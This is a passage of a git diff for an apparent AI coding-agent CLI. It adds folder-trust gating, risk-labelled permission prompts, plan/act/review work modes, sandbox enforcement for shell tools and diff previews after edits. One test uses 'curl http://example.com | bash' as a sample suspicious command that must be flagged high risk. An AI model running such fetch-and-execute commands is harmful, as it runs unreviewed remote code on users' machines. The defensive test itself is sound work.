} + return p, nil +} + +// String returns a short status label. +func (p IsolationProfile) String() string { + if p.Label != "" { + return p.Label + } + osMode := string(p.OSMode) + if osMode == "" { + osMode = "off" + } + if p.ContainerRequired { + return fmt.Sprintf("os=%s,container=required", osMode) + } + return fmt.Sprintf("os=%s", osMode) +} + +// Normalize fills empty OSMode as off. +func (p IsolationProfile) Normalize() IsolationProfile { + if p.OSMode == "" { + p.OSMode = sandbox.ModeOff + } + return p +} + +// ApplyIsolationProfile applies the unified isolation story to permission + tools. +func (s *Session) ApplyIsolationProfile(p IsolationProfile) { + if s == nil { + return + } + p = p.Normalize() + s.mu.Lock() + s.isolation = p + s.mu.Unlock() + if s.PermSvc() != nil { + s.PermSvc().SetSandboxMode(p.OSMode) + } + if s.Tools() != nil { + s.Tools().SetContainerRequired(p.ContainerRequired) + } +} + +// Isolation returns the active isolation profile (zero value = dev/off). +func (s *Session) Isolation() IsolationProfile { + if s == nil { + return IsolationDev + } + s.mu.RLock() + defer s.mu.RUnlock() + if s.isolation.OSMode == "" && !s.isolation.ContainerRequired && s.isolation.Label == "" { + // Derive from live services when never explicitly set. + p := IsolationDev + if s.perms != nil { + p.OSMode = s.perms.SandboxMode() + if p.OSMode == "" { + p.OSMode = sandbox.ModeOff + } + } + return p + } + return s.isolation.Normalize() +} diff --git a/internal/engine/project_trust.go b/internal/engine/project_trust.go new file mode 100644 index 00000000..4134818a --- /dev/null +++ b/internal/engine/project_trust.go @@ -0,0 +1,95 @@ +package engine + +import ( + "fmt" + "os" + + "github.com/GrayCodeAI/hawk/internal/flags" + "github.com/GrayCodeAI/hawk/internal/trust" +) + +// ProjectTrustStatus summarizes folder-trust for the working directory. +// Used by TUI status, /status, and /start onboarding. +type ProjectTrustStatus struct { + Path string + Trusted bool + Enforced bool + // Blocked is true when enforcement is on and the path is not trusted — + // project hooks/MCP/plugins from the repo will not load. + Blocked bool +} + +// ProjectTrust returns trust state for cwd (or path if non-empty). +func ProjectTrust(path string) ProjectTrustStatus { + if path == "" { + path, _ = os.Getwd() + } + st := ProjectTrustStatus{Path: path, Enforced: flags.FolderTrust()} + store, err := trust.Open("") + if err != nil { + // Fail closed on read errors when enforcement is on. + st.Trusted = false + st.Blocked = st.Enforced + return st + } + st.Trusted = store.IsTrusted(path) + st.Blocked = st.Enforced && !st.Trusted + return st +} + +// TrustProject marks path trusted with reason (empty path = cwd). +func TrustProject(path, reason string) error { + if path == "" { + var err error + path, err = os.Getwd() + if err != nil { + return err + } + } + store, err := trust.Open("") + if err != nil { + return err + } + if reason == "" { + reason = "user approved via hawk" + } + return store.Trust(path, reason) +} + +// UntrustProject removes trust for path (empty = cwd). +func UntrustProject(path string) error { + if path == "" { + var err error + path, err = os.Getwd() + if err != nil { + return err + } + } + store, err := trust.Open("") + if err != nil { + return err + } + return store.Untrust(path) +} + +// String is a short status label for HUD. +func (t ProjectTrustStatus) String() string { + if !t.Enforced { + return "trust:off" + } + if t.Trusted { + return "trusted" + } + return "untrusted" +} + +// Detail is multi-line copy for /status and /start. +func (t ProjectTrustStatus) Detail() string { + if !t.Enforced { + return fmt.Sprintf("Folder trust enforcement is off (path %s).", t.Path) + } + if t.Trusted { + return fmt.Sprintf("Project trusted: %s\nProject hooks, MCP, and plugins may load.", t.Path) + } + return fmt.Sprintf("Project NOT trusted: %s\nProject-scoped hooks/MCP/plugins are blocked (RCE mitigation).\nRun: /trust add or hawk trust add", t.Path) +} diff --git a/internal/engine/safety/permission.go b/internal/engine/safety/permission.go index fe158fb7..ba192910 100644 --- a/internal/engine/safety/permission.go +++ b/internal/engine/safety/permission.go @@ -1,6 +1,7 @@ package safety import ( + "fmt" "path/filepath" "strings" "sync" @@ -166,6 +167,7 @@ func ToolNeedsPermission(name string, args map[string]interface{}) bool { } // ToolSummary generates a human-readable summary of what a tool call will do. +// This short form is also used for AutoMode / memory rule matching — keep it stable. func ToolSummary(name string, args map[string]interface{}) string { switch canonicalToolName(name) { case "Bash": @@ -191,6 +193,55 @@ func ToolSummary(name string, args map[string]interface{}) string { return name } +// FormatPermissionDisplay builds the multi-line body shown in the TUI permission +// box. toolName and summary are display inputs; summary should remain ToolSummary +// so AutoMode still matches after the user answers. +func FormatPermissionDisplay(toolName, summary string) string { + policy := ToolPolicyFor(toolName) + risk := string(policy.DefaultRisk) + if risk == "" { + risk = string(RiskMedium) + } + // Escalate Bash to high when the summary still looks like a shell command + // that was forced through a prompt (suspicious commands). + if canonicalToolName(toolName) == "Bash" && risk != string(RiskHigh) { + if tool.IsSuspicious(summary) { + risk = string(RiskHigh) + } + } + why := permissionWhyLine(toolName, RiskLevel(risk), policy) + if strings.TrimSpace(summary) == "" { + summary = toolName + } + return fmt.Sprintf("[%s risk] %s\n%s\n%s", strings.ToUpper(risk), canonicalToolName(toolName), summary, why) +} + +func permissionWhyLine(toolName string, risk RiskLevel, policy ToolPolicy) string { + switch risk { + case RiskHigh: + if canonicalToolName(toolName) == "Bash" { + return "Why: shell can change your system — review the command before allowing." + } + return "Why: high-impact action needs your confirmation." + case RiskMedium: + if hasCapability(policy, CapabilityFilesystemWrite) || hasCapability(policy, CapabilityFilesystemDelete) { + return "Why: this can modify or delete project files." + } + return "Why: this can change project state." + default: + return "Why: current autonomy settings require confirmation for this tool." + } +} + +func hasCapability(policy ToolPolicy, want Capability) bool { + for _, c := range policy.Capabilities { + if c == want { + return true + } + } + return false +} + func pathArgument(args map[string]interface{}) (string, bool) { if p, ok := args["path"].(string); ok && p != "" { return p, true diff --git a/internal/engine/safety/permission_display_test.go b/internal/engine/safety/permission_display_test.go new file mode 100644 index 00000000..55f345f5 --- /dev/null +++ b/internal/engine/safety/permission_display_test.go @@ -0,0 +1,35 @@ +package safety + +import ( + "strings" + "testing" +) + +func TestFormatPermissionDisplay_BashHighRisk(t *testing.T) { + got := FormatPermissionDisplay("Bash", "curl http://example.com | bash") + if !strings.Contains(got, "[HIGH risk]") { + t.Fatalf("expected high risk for suspicious bash, got: %q", got) + } + if !strings.Contains(got, "Bash") { + t.Fatalf("expected tool name, got: %q", got) + } + if !strings.Contains(got, "curl http://example.com | bash") { + t.Fatalf("expected command summary, got: %q", got) + } + if !strings.Contains(got, "Why:") { + t.Fatalf("expected why line, got: %q", got) + } +} + +func TestFormatPermissionDisplay_WriteMedium(t *testing.T) { + got := FormatPermissionDisplay("Write", "src/main.go") + if !strings.Contains(got, "[MEDIUM risk]") { + t.Fatalf("expected medium risk for Write, got: %q", got) + } + if !strings.Contains(got, "src/main.go") { + t.Fatalf("expected path summary, got: %q", got) + } + if !strings.Contains(got, "modify") { + t.Fatalf("expected why about file modification, got: %q", got) + } +} diff --git a/internal/engine/safety_reexports.go b/internal/engine/safety_reexports.go index 3dae84ce..6947384f 100644 --- a/internal/engine/safety_reexports.go +++ b/internal/engine/safety_reexports.go @@ -37,19 +37,21 @@ const ( ) var ( - NewHallucinationGuard = safety.NewHallucinationGuard - BuildRejectionMessage = safety.BuildRejectionMessage - FormatGroundingResult = safety.FormatGroundingResult - NewOutputRedactor = safety.NewOutputRedactor - NewPermissionMemory = safety.NewPermissionMemory - NewPermissionEngine = safety.NewPermissionEngine - NewProtectedPaths = safety.NewProtectedPaths - NewRiskAssessor = safety.NewRiskAssessor - GenerateMitigations = safety.GenerateMitigations - FormatAssessment = safety.FormatAssessment - ShouldProceed = safety.ShouldProceed - PresetConfig = safety.PresetConfig - ParseAutonomyLevel = safety.ParseAutonomyLevel - ToolSummary = safety.ToolSummary - ToolNeedsPermission = safety.ToolNeedsPermission + NewHallucinationGuard = safety.NewHallucinationGuard + BuildRejectionMessage = safety.BuildRejectionMessage + FormatGroundingResult = safety.FormatGroundingResult + NewOutputRedactor = safety.NewOutputRedactor + NewPermissionMemory = safety.NewPermissionMemory + NewPermissionEngine = safety.NewPermissionEngine + NewProtectedPaths = safety.NewProtectedPaths + NewRiskAssessor = safety.NewRiskAssessor + GenerateMitigations = safety.GenerateMitigations + FormatAssessment = safety.FormatAssessment + ShouldProceed = safety.ShouldProceed + PresetConfig = safety.PresetConfig + ParseAutonomyLevel = safety.ParseAutonomyLevel + ToolSummary = safety.ToolSummary + ToolNeedsPermission = safety.ToolNeedsPermission + FormatPermissionDisplay = safety.FormatPermissionDisplay + ToolPolicyFor = safety.ToolPolicyFor ) diff --git a/internal/engine/session.go b/internal/engine/session.go index 15ccf15a..66d44749 100644 --- a/internal/engine/session.go +++ b/internal/engine/session.go @@ -108,6 +108,10 @@ type Session struct { // Snapshots -> legacy field; not yet on Persistence // Tracer -> legacy field; oteltrace.NewTracer() for new code // Backtrack and limits are owned by LifecycleService. + + // Control plane (product modes) — orthogonal to SpecStage and shellmode. + workMode WorkMode + isolation IsolationProfile } // NewSession creates a conversation session through Eyrie's engine facade. @@ -627,6 +631,21 @@ func (s *Session) SetContainerRequired(v bool) { } } +// SetAutoCommit enables git auto-commit after successful Write/Edit tools. +func (s *Session) SetAutoCommit(enabled bool) { + if s != nil && s.tools != nil { + s.tools.SetAutoCommit(enabled) + } +} + +// AutoCommit reports whether write tools auto-commit. +func (s *Session) AutoCommit() bool { + if s == nil || s.tools == nil { + return false + } + return s.tools.AutoCommit() +} + // SetContainerExecutor sets the container executor on the ToolService // (the source of truth), preserving the current required flag. func (s *Session) SetContainerExecutor(ce tool.ContainerExecutor) { diff --git a/internal/engine/spawn_controller.go b/internal/engine/spawn_controller.go new file mode 100644 index 00000000..56110d16 --- /dev/null +++ b/internal/engine/spawn_controller.go @@ -0,0 +1,97 @@ +package engine + +import ( + "context" + "fmt" + "time" + + agentcontracts "github.com/GrayCodeAI/hawk-core-contracts/agent" + + "github.com/GrayCodeAI/hawk/internal/taskruntime" +) + +// SpawnController is the single entrypoint for subagent spawn, background +// agents, and task lookup. Faces and tools should use this instead of +// reaching into BackgroundAgentManager / agent loops separately. +// +// It wraps Session.spawnSubAgentRequest and shares the session's +// taskruntime.Registry via ToolService's BackgroundAgentManager. +type SpawnController struct { + session *Session +} + +// SpawnController returns the session-scoped spawn facade (always non-nil +// for a live session; methods no-op safely if session is nil). +func (s *Session) SpawnController() *SpawnController { + if s == nil { + return &SpawnController{} + } + return &SpawnController{session: s} +} + +// Tasks returns the unified background task registry, creating a background +// manager on the tool service if needed. +func (c *SpawnController) Tasks() *taskruntime.Registry { + if c == nil || c.session == nil || c.session.Tools() == nil { + return nil + } + bm := c.session.Tools().EnsureBackgroundManager() + if bm == nil { + return nil + } + return bm.Registry() +} + +// Spawn runs a typed subagent to completion (or failure). +func (c *SpawnController) Spawn(ctx context.Context, req agentcontracts.SpawnRequest) (agentcontracts.SpawnResult, error) { + if c == nil || c.session == nil { + return agentcontracts.SpawnResult{Status: agentcontracts.StatusFailed, Error: "spawn: no session"}, fmt.Errorf("spawn: no session") + } + // Ensure WireAgentTool path exists. + if c.session.Tools() != nil && c.session.Tools().AgentSpawnFn() == nil { + c.session.WireAgentTool() + } + return c.session.spawnSubAgentRequest(ctx, req, 0) +} + +// SpawnBackground starts a subagent on the unified task registry and returns its id. +func (c *SpawnController) SpawnBackground(ctx context.Context, id string, req agentcontracts.SpawnRequest) (string, error) { + if c == nil || c.session == nil { + return "", fmt.Errorf("spawn: no session") + } + req.Background = true + if _, err := req.Normalize(); err != nil { + return "", err + } + if c.session.Tools() != nil && c.session.Tools().AgentSpawnFn() == nil { + c.session.WireAgentTool() + } + bm := c.session.Tools().EnsureBackgroundManager() + if bm == nil { + return "", fmt.Errorf("spawn: background manager unavailable") + } + if id == "" { + id = fmt.Sprintf("bg-%d", time.Now().UnixNano()) + } + fn := c.session.Tools().AgentSpawnFn() + bm.Spawn(ctx, id, req, fn) + return id, nil +} + +// Wait waits for background tasks up to timeout and returns them. +func (c *SpawnController) Wait(timeout time.Duration) []*taskruntime.Task { + reg := c.Tasks() + if reg == nil { + return nil + } + return reg.Wait(timeout) +} + +// Status returns a compact snapshot for HUD / status commands. +func (c *SpawnController) Status() string { + reg := c.Tasks() + if reg == nil { + return "tasks: none" + } + return fmt.Sprintf("tasks: pending=%d", reg.PendingCount()) +} diff --git a/internal/engine/stream.go b/internal/engine/stream.go index d2fca25b..5c135000 100644 --- a/internal/engine/stream.go +++ b/internal/engine/stream.go @@ -260,6 +260,10 @@ func (s *Session) agentLoop(ctx context.Context, ch chan<- StreamEvent) { opts.System += cfgPrompt } } + // Work mode (plan/act/review) — ephemeral product control plane. + if addon := s.workModeSystemAddon(); addon != "" { + opts.System += "\n\n" + addon + } if s.Tools() != nil && s.Tools().Registry() != nil { opts.Tools = s.Tools().Registry().EyrieTools() } diff --git a/internal/engine/stream_tool_exec.go b/internal/engine/stream_tool_exec.go index 5054ade9..f70c6f9f 100644 --- a/internal/engine/stream_tool_exec.go +++ b/internal/engine/stream_tool_exec.go @@ -7,6 +7,7 @@ import ( "slices" "strings" + "github.com/GrayCodeAI/hawk/internal/engine/diff" "github.com/GrayCodeAI/hawk/internal/tool" "github.com/GrayCodeAI/hawk/internal/types" @@ -193,7 +194,10 @@ func (s *Session) executeSingleToolWithTool(ctx context.Context, tc types.ToolCa } canonicalPre := canonicalToolName(tc.Name) var preEditContent, preEditPath string - if (canonicalPre == "Write" || canonicalPre == "Edit" || canonicalPre == "MultiEdit") && s.ChatLLM() != nil { + // Always snapshot pre-edit content for mutation tools so users (and the + // model) get a reviewable unified diff after the write — not only when + // LLM self-review is enabled. + if canonicalPre == "Write" || canonicalPre == "Edit" || canonicalPre == "MultiEdit" || canonicalPre == "StructuredEdit" { if p, ok := pathArgument(tc.Arguments); ok && p != "" { preEditPath = p if data, readErr := readFileContent(p); readErr == nil { @@ -217,28 +221,35 @@ func (s *Session) executeSingleToolWithTool(ctx context.Context, tc types.ToolCa } } else { s.Logger().Info("tool executed", map[string]interface{}{"tool": tc.Name, "output": len(output)}) - if preEditPath != "" && s.ChatLLM() != nil && shouldSelfReview(tc.Name) { - if newContent, readErr := readFileContent(preEditPath); readErr == nil && newContent != preEditContent { - reviewResult, reviewErr := ReviewBeforeWrite(ctx, s.ChatLLM().Client(), s.ChatLLM().Model(), intentText, preEditPath, preEditContent, newContent) - if reviewErr == nil && reviewResult != nil && !reviewResult.Approved { - var revertErr error - if preEditContent == "" { - revertErr = os.Remove(preEditPath) - } else { - revertErr = os.WriteFile(preEditPath, []byte(preEditContent), 0o600) - } - if revertErr != nil { - s.Logger().Error("self-review revert failed; rejecting diff loudly", map[string]interface{}{"path": preEditPath, "error": revertErr.Error()}) - output = fmt.Sprintf("Self-review rejected the change AND the revert failed: %s. Original review issues: %s. Manual intervention required.", revertErr.Error(), strings.Join(reviewResult.Issues, "; ")) - } else { - issueStr := "Self-review found issues: " + strings.Join(reviewResult.Issues, "; ") - if len(reviewResult.Suggestions) > 0 { - issueStr += ". Suggestions: " + strings.Join(reviewResult.Suggestions, "; ") + if preEditPath != "" { + newContent, readErr := readFileContent(preEditPath) + if readErr == nil && newContent != preEditContent { + // Optional LLM self-review when a chat client is available. + if s.ChatLLM() != nil && shouldSelfReview(tc.Name) { + reviewResult, reviewErr := ReviewBeforeWrite(ctx, s.ChatLLM().Client(), s.ChatLLM().Model(), intentText, preEditPath, preEditContent, newContent) + if reviewErr == nil && reviewResult != nil && !reviewResult.Approved { + var revertErr error + if preEditContent == "" { + revertErr = os.Remove(preEditPath) + } else { + revertErr = os.WriteFile(preEditPath, []byte(preEditContent), 0o600) + } + if revertErr != nil { + s.Logger().Error("self-review revert failed; rejecting diff loudly", map[string]interface{}{"path": preEditPath, "error": revertErr.Error()}) + output = fmt.Sprintf("Self-review rejected the change AND the revert failed: %s. Original review issues: %s. Manual intervention required.", revertErr.Error(), strings.Join(reviewResult.Issues, "; ")) + } else { + issueStr := "Self-review found issues: " + strings.Join(reviewResult.Issues, "; ") + if len(reviewResult.Suggestions) > 0 { + issueStr += ". Suggestions: " + strings.Join(reviewResult.Suggestions, "; ") + } + output = issueStr + ". Please fix these issues and try again." } - output = issueStr + ". Please fix these issues and try again." + isErr = true } - isErr = true - } else if reviewErr == nil && reviewResult != nil && reviewResult.Approved { + } + // Diff-first UX: always surface a compact unified diff after + // successful mutations so the TUI and model can review changes. + if !isErr { if diffSummary := generateDiffSummary(preEditContent, newContent, preEditPath); diffSummary != "" { output += "\n" + diffSummary } @@ -280,44 +291,29 @@ func shouldSelfReview(toolName string) bool { return selfReviewTools[toolName] } -// generateDiffSummary creates a compact diff summary for the TUI to display. -// Returns a string with line-level change stats and a short preview. -func generateDiffSummary(oldContent, newContent, filePath string) string { - oldLines := strings.Split(oldContent, "\n") - newLines := strings.Split(newContent, "\n") - - added := 0 - removed := 0 +// maxDiffPreviewLines caps unified-diff lines appended to tool results so large +// rewrites do not blow the context window. Stats still report full +/− counts. +const maxDiffPreviewLines = 80 - // Simple line-level diff count - oldSet := make(map[string]int) - for _, l := range oldLines { - oldSet[l]++ - } - newSet := make(map[string]int) - for _, l := range newLines { - newSet[l]++ - } - for _, l := range newLines { - if oldSet[l] > 0 { - oldSet[l]-- - } else { - added++ - } - } - for _, l := range oldLines { - if newSet[l] > 0 { - newSet[l]-- - } else { - removed++ +// generateDiffSummary creates a reviewable change summary for the TUI and model. +// It returns line-level stats plus a truncated unified diff preview. +func generateDiffSummary(oldContent, newContent, filePath string) string { + hunks := diff.ComputeDiff(oldContent, newContent) + change := diff.FileChange{Path: filePath, Hunks: hunks} + added, removed := 0, 0 + for _, h := range hunks { + for _, line := range h.Lines { + switch line.Type { + case "add": + added++ + case "remove": + removed++ + } } } - if added == 0 && removed == 0 { return "" } - - // Compact summary: +N -N lines parts := []string{} if added > 0 { parts = append(parts, fmt.Sprintf("+%d", added)) @@ -325,5 +321,26 @@ func generateDiffSummary(oldContent, newContent, filePath string) string { if removed > 0 { parts = append(parts, fmt.Sprintf("-%d", removed)) } - return fmt.Sprintf("diff %s: %s lines", filePath, strings.Join(parts, " ")) + header := fmt.Sprintf("diff %s: %s lines", filePath, strings.Join(parts, " ")) + unified := strings.TrimRight(diff.RenderUnified(&change), "\n") + if unified == "" { + return header + } + preview := truncateDiffPreview(unified, maxDiffPreviewLines) + return header + "\n" + preview +} + +// truncateDiffPreview keeps the first maxLines of a unified diff and notes when +// the remainder was dropped. +func truncateDiffPreview(unified string, maxLines int) string { + if maxLines <= 0 { + return unified + } + lines := strings.Split(unified, "\n") + if len(lines) <= maxLines { + return unified + } + kept := strings.Join(lines[:maxLines], "\n") + omitted := len(lines) - maxLines + return kept + fmt.Sprintf("\n… (%d more lines truncated)", omitted) } diff --git a/internal/engine/stream_tool_exec_test.go b/internal/engine/stream_tool_exec_test.go index a05d07ce..1ea7c445 100644 --- a/internal/engine/stream_tool_exec_test.go +++ b/internal/engine/stream_tool_exec_test.go @@ -4,6 +4,7 @@ import ( "context" "encoding/json" "fmt" + "strings" "sync/atomic" "testing" "time" @@ -147,6 +148,73 @@ func TestExecuteSingleTool_PropagatesPermissionContext(t *testing.T) { } } +// sandboxModeCaptureTool records ModeFromContext so we can assert the session +// sandbox policy is bridged onto the tool execution context for Bash wrap. +type sandboxModeCaptureTool struct { + mode sandbox.Mode +} + +func (t *sandboxModeCaptureTool) Name() string { return "Read" } +func (t *sandboxModeCaptureTool) Description() string { return "capture sandbox mode" } +func (t *sandboxModeCaptureTool) Parameters() map[string]interface{} { + return map[string]interface{}{"type": "object", "properties": map[string]interface{}{}} +} + +func (t *sandboxModeCaptureTool) Execute(ctx context.Context, _ json.RawMessage) (string, error) { + t.mode = sandbox.ModeFromContext(ctx) + return "ok", nil +} + +func TestExecuteSingleTool_BridgesSandboxModeOntoContext(t *testing.T) { + capture := &sandboxModeCaptureTool{} + sess := NewSession("test", "test", "system", tool.NewRegistry(capture)) + sess.PermSvc().SetAutonomy(AutonomyYOLO) + sess.PermSvc().SetSandboxMode(sandbox.ModeWorkspace) + ch := make(chan StreamEvent, 4) + res := sess.executeSingleTool(context.Background(), types.ToolCall{Name: "Read", ID: "sb"}, ch, 0, "") + if res.isErr { + t.Fatalf("tool failed: %#v", res) + } + if capture.mode != sandbox.ModeWorkspace { + t.Fatalf("ModeFromContext = %q, want %q (session sandbox must wrap shell)", capture.mode, sandbox.ModeWorkspace) + } +} + +func TestExecuteSingleTool_SandboxOffDoesNotSetModeOnContext(t *testing.T) { + capture := &sandboxModeCaptureTool{} + sess := NewSession("test", "test", "system", tool.NewRegistry(capture)) + sess.PermSvc().SetAutonomy(AutonomyYOLO) + sess.PermSvc().SetSandboxMode(sandbox.ModeOff) + ch := make(chan StreamEvent, 4) + res := sess.executeSingleTool(context.Background(), types.ToolCall{Name: "Read", ID: "sb-off"}, ch, 0, "") + if res.isErr { + t.Fatalf("tool failed: %#v", res) + } + // ModeOff / unset should leave ModeFromContext as ModeOff so host shell + // is not force-wrapped without a backend. + if capture.mode != sandbox.ModeOff { + t.Fatalf("ModeFromContext = %q, want off", capture.mode) + } +} + +func TestGenerateDiffSummary_IncludesUnifiedPreview(t *testing.T) { + old := "line1\nline2\n" + newC := "line1\nline2 changed\nline3\n" + got := generateDiffSummary(old, newC, "demo.go") + if got == "" { + t.Fatal("expected non-empty diff summary") + } + if !strings.Contains(got, "diff demo.go:") { + t.Fatalf("missing stats header: %q", got) + } + if !strings.Contains(got, "--- a/demo.go") || !strings.Contains(got, "+++ b/demo.go") { + t.Fatalf("missing unified diff headers: %q", got) + } + if !strings.Contains(got, "+line2 changed") && !strings.Contains(got, "+line3") { + t.Fatalf("missing added lines in preview: %q", got) + } +} + func TestToolServiceWorkingDirPropagatesContext(t *testing.T) { capture := &contextCaptureTool{} sess := NewSession("test", "test", "system", tool.NewRegistry(capture)) diff --git a/internal/engine/tool_service.go b/internal/engine/tool_service.go index c1539b9b..4e10a018 100644 --- a/internal/engine/tool_service.go +++ b/internal/engine/tool_service.go @@ -14,6 +14,7 @@ import ( "github.com/GrayCodeAI/hawk/internal/observability/metrics" "github.com/GrayCodeAI/hawk/internal/observability/oteltrace" "github.com/GrayCodeAI/hawk/internal/prompts" + "github.com/GrayCodeAI/hawk/internal/sandbox" "github.com/GrayCodeAI/hawk/internal/tool" "github.com/GrayCodeAI/hawk/internal/types" ) @@ -33,6 +34,7 @@ type ToolService struct { executionConfigMu sync.RWMutex workingDir string readOnlyBash bool + autoCommit bool bgManager *tool.BackgroundAgentManager sandbox *diff.DiffSandbox deps toolExecutionDeps @@ -128,6 +130,26 @@ func (s *ToolService) ReadOnlyBash() bool { return s.readOnlyBash } +// SetAutoCommit enables git auto-commit after successful Write/Edit/StructuredEdit. +func (s *ToolService) SetAutoCommit(enabled bool) { + if s == nil { + return + } + s.executionConfigMu.Lock() + defer s.executionConfigMu.Unlock() + s.autoCommit = enabled +} + +// AutoCommit reports whether write tools should auto-commit. +func (s *ToolService) AutoCommit() bool { + if s == nil { + return false + } + s.executionConfigMu.RLock() + defer s.executionConfigMu.RUnlock() + return s.autoCommit +} + // WithMetrics attaches the registry used for tool execution counters. func (s *ToolService) WithMetrics(registry *metrics.Registry) *ToolService { s.metrics = registry @@ -352,6 +374,12 @@ func (s *ToolService) ExecuteOne(ctx context.Context, tc types.ToolCall, overrid if s.deps.memory != nil { yaad = s.deps.memory.Yaad() } + sbMode := s.deps.permissions.SandboxMode() + var available []tool.Tool + if s.registry != nil { + // Full primary set so ToolSearch can discover lazy/optional tools. + available = s.registry.PrimaryTools() + } toolCtx := tool.WithToolContext(ctx, &tool.ToolContext{ AgentSpawnFn: s.deps.agentSpawn, AskUserFn: s.deps.askUser, @@ -360,11 +388,23 @@ func (s *ToolService) ExecuteOne(ctx context.Context, tc types.ToolCall, overrid SpecSlugGet: func() string { return s.deps.permissions.SpecSlug() }, SpecSlugSet: func(slug string) { s.deps.permissions.SetSpecSlug(slug) }, AllowedDirectories: s.deps.permissions.AllowedDirs(), - SandboxMode: s.deps.permissions.SandboxMode(), + SandboxMode: sbMode, BackgroundManager: s.EnsureBackgroundManager(), ReadOnlyBash: s.ReadOnlyBash(), WorkingDir: s.WorkingDir(), + AvailableTools: available, + Registry: s.registry, + AutoCommit: s.AutoCommit(), }) + // Bridge session sandbox policy onto the context so Bash/PowerShell + // WrapCommand actually applies. Path guards already read ToolContext.SandboxMode; + // process isolation previously only fired when callers set ModeFromContext + // explicitly (tests), so configured workspace/strict modes were a no-op for shell. + // Only attach for explicit workspace/strict — empty or "off" leave ModeOff so + // host shell works without a seatbelt/unshare backend. + if sbMode == sandbox.ModeWorkspace || sbMode == sandbox.ModeStrict { + toolCtx = sandbox.ContextWithMode(toolCtx, sbMode) + } if containerExecutor != nil && containerExecutor.Running() { toolCtx = tool.WithContainerExecutor(toolCtx, containerExecutor) } diff --git a/internal/engine/work_mode.go b/internal/engine/work_mode.go new file mode 100644 index 00000000..fa407b48 --- /dev/null +++ b/internal/engine/work_mode.go @@ -0,0 +1,143 @@ +package engine + +import ( + "fmt" + "strings" + + "github.com/GrayCodeAI/hawk/internal/tool" +) + +// WorkMode is the product-level Plan / Act / Review control plane. +// It is orthogonal to shellmode (auto|shell|agent) and SpecStage: +// WorkMode steers tool visibility and bash mutability for everyday use. +type WorkMode string + +const ( + // WorkModeAct is full build mode: essential tools + writes + bash. + WorkModeAct WorkMode = "act" + // WorkModePlan is research/planning: read-oriented tools, read-only bash. + WorkModePlan WorkMode = "plan" + // WorkModeReview is inspect-only: no writes, no mutating shell. + WorkModeReview WorkMode = "review" +) + +// EssentialModelTools are always offered to the model in Act mode (lazy surface). +// Optional tools remain registered for execution/ToolSearch but stay hidden until promoted. +var EssentialModelTools = []string{ + "Bash", "Read", "Write", "Edit", "StructuredEdit", "MultiEdit", + "LS", "Glob", "Grep", + "WebFetch", "WebSearch", "ToolSearch", "Skill", + "Agent", "AskUserQuestion", "TodoWrite", + "TaskOutput", "TaskStop", "WaitTasks", "KillTask", "Monitor", + "LSP", "Browser", "Screenshot", +} + +// PlanModelTools are model-visible in Plan mode. +var PlanModelTools = []string{ + "Read", "LS", "Glob", "Grep", "Bash", + "WebFetch", "WebSearch", "ToolSearch", "Skill", + "Agent", "AskUserQuestion", "TodoWrite", + "LSP", "CodeSearch", "CodeGraph", "Impact", "GitHistory", + "Specify", "Plan", "Tasks", "Clarify", "Analyze", "Checklist", +} + +// ReviewModelTools are model-visible in Review mode (read-only). +var ReviewModelTools = []string{ + "Read", "LS", "Glob", "Grep", "Bash", + "ToolSearch", "AskUserQuestion", "TodoWrite", + "LSP", "Diagnostics", "CodeSearch", "CodeGraph", "Impact", "GitHistory", + "WebFetch", +} + +const workModePlanPrompt = `## Work mode: PLAN +You are in plan mode. Research and produce an ordered plan. +- Prefer Read, Grep, Glob, LS, and read-only Bash inspection. +- Do not modify files or run mutating commands. +- End with a concrete step list the user can approve before Act mode.` + +const workModeReviewPrompt = `## Work mode: REVIEW +You are in review mode. Inspect code and report findings with file:line evidence. +- Read-only tools only; do not modify files. +- Prefer concrete PASS/FAIL style verdicts with citations.` + +// ParseWorkMode accepts plan|act|review (and aliases). +func ParseWorkMode(s string) (WorkMode, error) { + switch strings.ToLower(strings.TrimSpace(s)) { + case "", "act", "build", "agent", "write": + return WorkModeAct, nil + case "plan", "planning", "research": + return WorkModePlan, nil + case "review", "inspect", "readonly", "read-only", "ro": + return WorkModeReview, nil + default: + return "", fmt.Errorf("unknown work mode %q (want plan|act|review)", s) + } +} + +// SetWorkMode applies tool visibility, bash policy, and stores the mode. +func (s *Session) SetWorkMode(mode WorkMode) error { + if s == nil { + return fmt.Errorf("session is nil") + } + mode, err := ParseWorkMode(string(mode)) + if err != nil { + return err + } + s.mu.Lock() + s.workMode = mode + s.mu.Unlock() + + reg := (*tool.Registry)(nil) + if s.Tools() != nil { + reg = s.Tools().Registry() + } + switch mode { + case WorkModePlan: + if s.Tools() != nil { + s.Tools().SetReadOnlyBash(true) + } + if reg != nil { + reg.SetModelVisibility(PlanModelTools) + } + case WorkModeReview: + if s.Tools() != nil { + s.Tools().SetReadOnlyBash(true) + } + if reg != nil { + reg.SetModelVisibility(ReviewModelTools) + } + default: // Act + if s.Tools() != nil { + s.Tools().SetReadOnlyBash(false) + } + if reg != nil { + reg.SetModelVisibility(EssentialModelTools) + } + } + return nil +} + +// WorkMode returns the active work mode (default act). +func (s *Session) WorkMode() WorkMode { + if s == nil { + return WorkModeAct + } + s.mu.RLock() + defer s.mu.RUnlock() + if s.workMode == "" { + return WorkModeAct + } + return s.workMode +} + +// workModeSystemAddon returns ephemeral system prompt text for the active mode. +func (s *Session) workModeSystemAddon() string { + switch s.WorkMode() { + case WorkModePlan: + return workModePlanPrompt + case WorkModeReview: + return workModeReviewPrompt + default: + return "" + } +} diff --git a/internal/onboarding/onboarding.go b/internal/onboarding/onboarding.go index 93b071e3..52d66277 100644 --- a/internal/onboarding/onboarding.go +++ b/internal/onboarding/onboarding.go @@ -70,10 +70,14 @@ func Welcome(version string) { fmt.Println(center(bold+"Quick start:"+reset, 12)) fmt.Println(center(hawkC+"hawk"+reset+" interactive REPL (/config on first run)", 58)) fmt.Println(center(hawkC+"hawk path"+reset+" check readiness", 49)) - fmt.Println(center(hawkC+"hawk"+reset+" -p \"explain this repo\" one-shot mode", 49)) + fmt.Println(center(hawkC+"hawk exec"+reset+" \"explain this repo\" headless / CI (add --json --ephemeral)", 58)) fmt.Println(center(hawkC+"hawk"+reset+" -c continue last session", 54)) fmt.Println(center(hawkC+"/config"+reset+" API key (keychain) + model", 54)) + fmt.Println() + fmt.Println(center(bold+"Control plane (in chat):"+reset, 24)) + fmt.Println(center(hawkC+"/start"+reset+" · "+hawkC+"/mode plan|act"+reset+" · "+hawkC+"/isolation"+reset+" · "+hawkC+"/trust"+reset, 52)) + fmt.Println() fmt.Println(center(hawkC+"? for shortcuts"+reset, 15)) fmt.Println() diff --git 